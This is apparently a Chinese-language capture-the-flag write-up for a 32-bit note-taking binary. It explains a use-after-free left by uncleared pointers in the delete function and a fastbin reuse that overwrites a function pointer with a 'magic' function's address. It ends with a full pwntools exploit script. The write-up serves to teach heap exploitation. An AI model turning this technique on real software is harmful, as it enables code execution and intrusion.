基本信息
首先,我们通过checksec来查看程序的基本信息和开启的防护。该程序是一个32位程序,并且开启了canary和nx。
运行程序之后发现是一个菜单类型的程序。
静态分析
add note函数
首先申请了一个8字节的chunk,其指针记录在bss段上。这个8字节的内容是一个结构体
struct node {
指向print note content函数的指针
指向content的指针
}
再输入大小能自己控制的content
delete note函数
首先free content,再free node strcut。可以注意到这里free之后指针没有清空,存在use after free漏洞。
print note函数
输入index,调用node struct中的print函数。
利用思路
-
申请一个note0,一个note1,注意两个note的content的大小不要和node struct大小落在同一个fastbin中。此时堆中的结构应该为:
note0
content0
note1
content1
-
接下来free note1, free note2。申请的四个chunk均落入fastbins中。
-
再次申请一个note,我们只要让申请时提供的size也正好能落在第一个fastbins中(比如8),那么我们新的node strcut就在0x980f028上,新的cotent就在0x980f000上,也就是本来第一个note的位置。从ida的导入表中发现magic函数,我们把这个函数地址写入第一个note的函数指针字段。
-
由于之前free的时候并没有把指针清空,所以我们现在调用print note函数再执行第一个note的时候,执行的是第一个note函数指针指向的函数,这个指针在第三步的时候已经被改写成为magic函数的地址。所以就可以cat flag
完整的exp
#coding=utf-8
from pwn import *
DEBUG = 1
io = process("./pwn")
if DEBUG:
context.log_level = "DEBUG"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
def add_note(size, content):
io.recvuntil("choice :")
io.sendline("1")
io.recvuntil("size :")
io.sendline(str(size))
io.recvuntil("Content :")
io.sendline(content)
def delete_note(index):
io.recvuntil("choice :")
io.sendline("2")
io.recvuntil("Index :")
io.sendline(str(index))
def print_note(index):
io.recvuntil("choice :")
io.sendline("3")
io.recvuntil("Index :")
io.sendline(str(index))
gdb.attach(io)
add_note(16, "A"*16) #note0
add_note(16, "B"*16) #note1
delete_note(0)
delete_note(1)
#fastbins note1->note0
magic_addr = 0x08048986
add_note(8, p32(magic_addr))
print_note(0)
io.interactive()